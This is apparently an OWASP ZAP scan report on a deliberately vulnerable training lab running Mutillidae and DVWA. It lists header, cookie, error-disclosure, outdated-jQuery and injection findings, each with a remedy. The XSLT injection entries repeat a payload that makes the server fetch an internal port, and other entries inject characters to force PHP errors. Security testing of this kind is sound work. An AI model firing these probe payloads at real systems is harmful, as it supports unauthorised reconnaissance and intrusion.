URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=notes.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=page-not-found.php
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=password-generator.php&username=anonymous
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=php-errors.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=redirectandlog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=set-background-color.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=show-log.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=usage-instructions.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=user-poll.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/set-up-database.php
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	
URL	http://192.168.0.9/twiki/
Method	GET
Attack	
Evidence	

URL	http://192.168.0.9/mutillidae/index.php?page=add-to-your-blog.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=html5-storage.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=pen-test-tool-lookup.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=register.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	
Evidence	
URL	http://192.168.0.9/mutillidae/index.php?page=view-someones-blog.php
Method	POST
Attack	
Evidence	
Instances	59
Solution	Modern Web browsers support the Content-Security-Policy and X-Frame-Options HTTP headers. Ensure one of them is set on all web pages returned by your site/app. If you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN, otherwise if you never expect the page to be framed, you should use DENY. Alternatively consider implementing Content Security Policy's "frame-ancestors" directive.
Reference	https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
CWE Id	1021
WASC Id	15
Plugin Id	10020

Medium	Parameter Tampering
Description	Parameter manipulation caused an error page or Java stack trace to be displayed. This indicated lack of exception handling and potential areas for further exploit.
URL	http://192.168.0.9/mutillidae/?page=%40
Method	GET
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=%40&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=%40
Method	GET
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=https%3A%2F%2Faddons.mozilla.org%2Fen-US%2Ffirefox%2Fcollections%2Fjdruin%2Fpr%2F&page=%40
Method	GET
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=%40
Method	GET
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=%40&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=%40&username=anonymous
Method	GET
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?=
Method	POST
Attack	
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=%40
Method	POST
Attack	@
Evidence	on line <b>

URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=login.php
Method	POST
Attack	
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	@
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=source-viewer.php
Method	POST
Attack	
Evidence	on line <b>
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	@
Evidence	on line <b>
Instances	14
Solution	Identify the cause of the error and fix it. Do not trust client side input and enforce a tight check in the server side. Besides, catch the exception properly. Use a generic 500 error page for internal server error.
Reference	
CWE Id	472
WASC Id	20
Plugin Id	40008

Medium	**Vulnerable JS Library**
Description	The identified library jquery, version 1.3.2 is vulnerable.
URL	http://192.168.0.9/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Attack	
Evidence	* jQuery JavaScript Library v1.3.2
Instances	1
Solution	Please upgrade to the latest version of jquery.
Reference	https://nvd.nist.gov/vuln/detail/CVE-2012-6708 http://research.insecurelabs.org/jquery/test/ https://bugs.jquery.com/ticket/9521 http://bugs.jquery.com/ticket/11290 https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/ https://nvd.nist.gov/vuln/detail/CVE-2019-11358 https://github.com/advisories/GHSA-q4m3-2j7h-f7xw https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/ https://github.com/jquery/jquery.com/issues/162

	https://nvd.nist.gov/vuln/detail/CVE-2020-7656 https://nvd.nist.gov/vuln/detail/CVE-2011-4969
CWE Id	829
WASC Id	
Plugin Id	10003

Medium	XSLT Injection
Description	Injection using XSL transformations may be possible, and may allow an attacker to read system information, read and write files, or execute arbitrary code.
URL	http://192.168.0.9/mutillidae/?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.0.9%3A22%27%29%22%2F%3E
Method	GET
Attack	<xsl:value-of select="document('http://192.168.0.9:22')"/>
Evidence	failed to open stream
URL	http://192.168.0.9/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.0.9%3A22%27%29%22%2F%3E
Method	GET
Attack	<xsl:value-of select="document('http://192.168.0.9:22')"/>
Evidence	failed to open stream
URL	http://192.168.0.9/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.0.9%3A22%27%29%22%2F%3E&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Method	GET
Attack	<xsl:value-of select="document('http://192.168.0.9:22')"/>
Evidence	failed to open stream
URL	http://192.168.0.9/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.0.9%3A22%27%29%22%2F%3E&username=anonymous
Method	GET
Attack	<xsl:value-of select="document('http://192.168.0.9:22')"/>
Evidence	failed to open stream
URL	http://192.168.0.9/mutillidae/index.php?page=%3Cxsl%3Avalue-of+select%3D%22document%28%27http%3A%2F%2F192.168.0.9%3A22%27%29%22%2F%3E
Method	POST
Attack	<xsl:value-of select="document('http://192.168.0.9:22')"/>
Evidence	failed to open stream
URL	http://192.168.0.9/mutillidae/index.php?page=text-file-viewer.php
Method	POST
Attack	<xsl:value-of select="document('http://192.168.0.9:22')"/>
Evidence	failed to open stream
Instances	6
Solution	Sanitize and analyze every user input coming from any client-side.
Reference	https://www.contextis.com/blog/xslt-server-side-injection-attacks
CWE Id	91
WASC Id	23
Plugin Id	90017

Low	Cookie No HttpOnly Flag
Description	A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
URL	http://192.168.0.9/dvwa/
Method	GET
Attack	
Evidence	Set-Cookie: security
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=change-log.htm
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=credits.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=html5-storage.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=installation.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=login.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints

URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=notes.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=password-generator.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=php-errors.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=redirectandlog.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=source-viewer.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=user-info.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=credits.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=html5-storage.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints

URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=page-not-found.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=register.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=set-background-color.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=source-viewer.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=user-info.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
Instances	26
Solution	Ensure that the HttpOnly flag is set for all cookies.
Reference	https://owasp.org/www-community/HttpOnly
CWE Id	1004
WASC Id	13
Plugin Id	10010

Low	**Cookie without SameSite Attribute**
Description	A cookie has been set without the SameSite attribute, which means that the cookie can be sent as a result of a 'cross-site' request. The SameSite attribute is an effective counter measure to cross-site request forgery, cross-site script inclusion, and timing attacks.
URL	http://192.168.0.9/dvwa/
Method	GET
Attack	

Evidence	Set-Cookie: security
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	Set-Cookie: PHPSESSID
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=change-log.htm
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=credits.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=html5-storage.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=installation.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=login.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=notes.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=password-generator.php
Method	GET
Attack	

Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=php-errors.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=redirectandlog.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=source-viewer.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=user-info.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=credits.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=html5-storage.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=page-not-found.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=pen-test-tool-lookup.php
Method	GET
Attack	

Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=register.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=set-background-color.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=source-viewer.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=user-info.php
Method	GET
Attack	
Evidence	Set-Cookie: showhints
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	Set-Cookie: phpMyAdmin
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	Set-Cookie: pma_charset
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	Set-Cookie: pma_lang
URL	http://192.168.0.9/phpMyAdmin/
Method	GET
Attack	
Evidence	Set-Cookie: pma_theme
Instances	30
Solution	Ensure that the SameSite attribute is set to either 'lax' or ideally 'strict' for all cookies.
Reference	https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site
CWE Id	1275

WASC Id	13
Plugin Id	10054

Low	**Information Disclosure - Debug Error Messages**
Description	The response appeared to contain common error messages returned by platforms such as ASP.NET, and Web-servers such as IIS and Apache. You can configure the list of common debug messages.
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	PHP error
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	PHP error
URL	http://192.168.0.9/mutillidae/index.php?page=change-log.htm
Method	GET
Attack	
Evidence	php error
URL	http://192.168.0.9/mutillidae/index.php?page=home.php
Method	GET
Attack	
Evidence	PHP error
Instances	4
Solution	Disable debugging messages before pushing to production.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	10023

Low	**Private IP Disclosure**
Description	A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname (for example, ip-10-0-56-78) has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.
URL	http://192.168.0.9/mutillidae/index.php?page=browser-info.php
Method	GET
Attack	
Evidence	192.168.0.8
URL	http://192.168.0.9/mutillidae/index.php?page=capture-data.php
Method	GET
Attack	
Evidence	192.168.0.8
Instances	2
Solution	Remove the private IP address from the HTTP response body. For comments, use JSP/ASP /PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.

Reference	https://tools.ietf.org/html/rfc1918
CWE Id	200
WASC Id	13
Plugin Id	2

Low	**Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)**
Description	The web/application server is leaking information via one or more "X-Powered-By" HTTP response headers. Access to such information may facilitate attackers identifying other frameworks/components your web application is reliant upon and the vulnerabilities such components may be subject to.
URL	http://192.168.0.9/dvwa/
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/index.php?page=register.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/?page=add-to-your-blog.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/?page=credits.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/?page=login.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/?page=register.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/?page=show-log.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/?page=source-viewer.php

Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/?page=text-file-viewer.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/?page=user-info.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/?page=view-someones-blog.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=change-log.htm
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=credits.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=home.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=html5-storage.php

Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=installation.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=login.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=notes.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=password-generator.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=php-errors.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=source-viewer.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-hints&page=user-info.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=add-to-your-blog.php

Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=arbitrary-file-inclusion.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=browser-info.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=capture-data.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=captured-data.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=change-log.htm
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=credits.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=dns-lookup.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=documentation/vulnerabilities.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=framing.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=home.php

Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=html5-storage.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=installation.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=login.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=notes.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=page-not-found.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=password-generator.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=pen-test-tool-lookup.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=php-errors.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=register.php
Method	GET

Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=secret-administrative-pages.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=set-background-color.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=show-log.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=site-footer-xss-discussion.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=source-viewer.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=text-file-viewer.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=usage-instructions.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=user-info.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=user-poll.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?do=toggle-security&page=view-someones-blog.php
Method	GET

Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://pauldotcom.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.isd-podcast.com/&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.issa-kentuckiana.org/&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.owasp.org/index.php/Louisville&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.php.net/&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: Ming Industries Draconian Power Ring
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.pocodoy.com/blog/&page=redirectandlog.php
Method	GET
Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
URL	http://192.168.0.9/mutillidae/index.php?forwardurl=http://www.room362.com/&page=redirectandlog.php
Method	GET

Attack	
Evidence	X-Powered-By: PHP/5.2.4-2ubuntu5.10
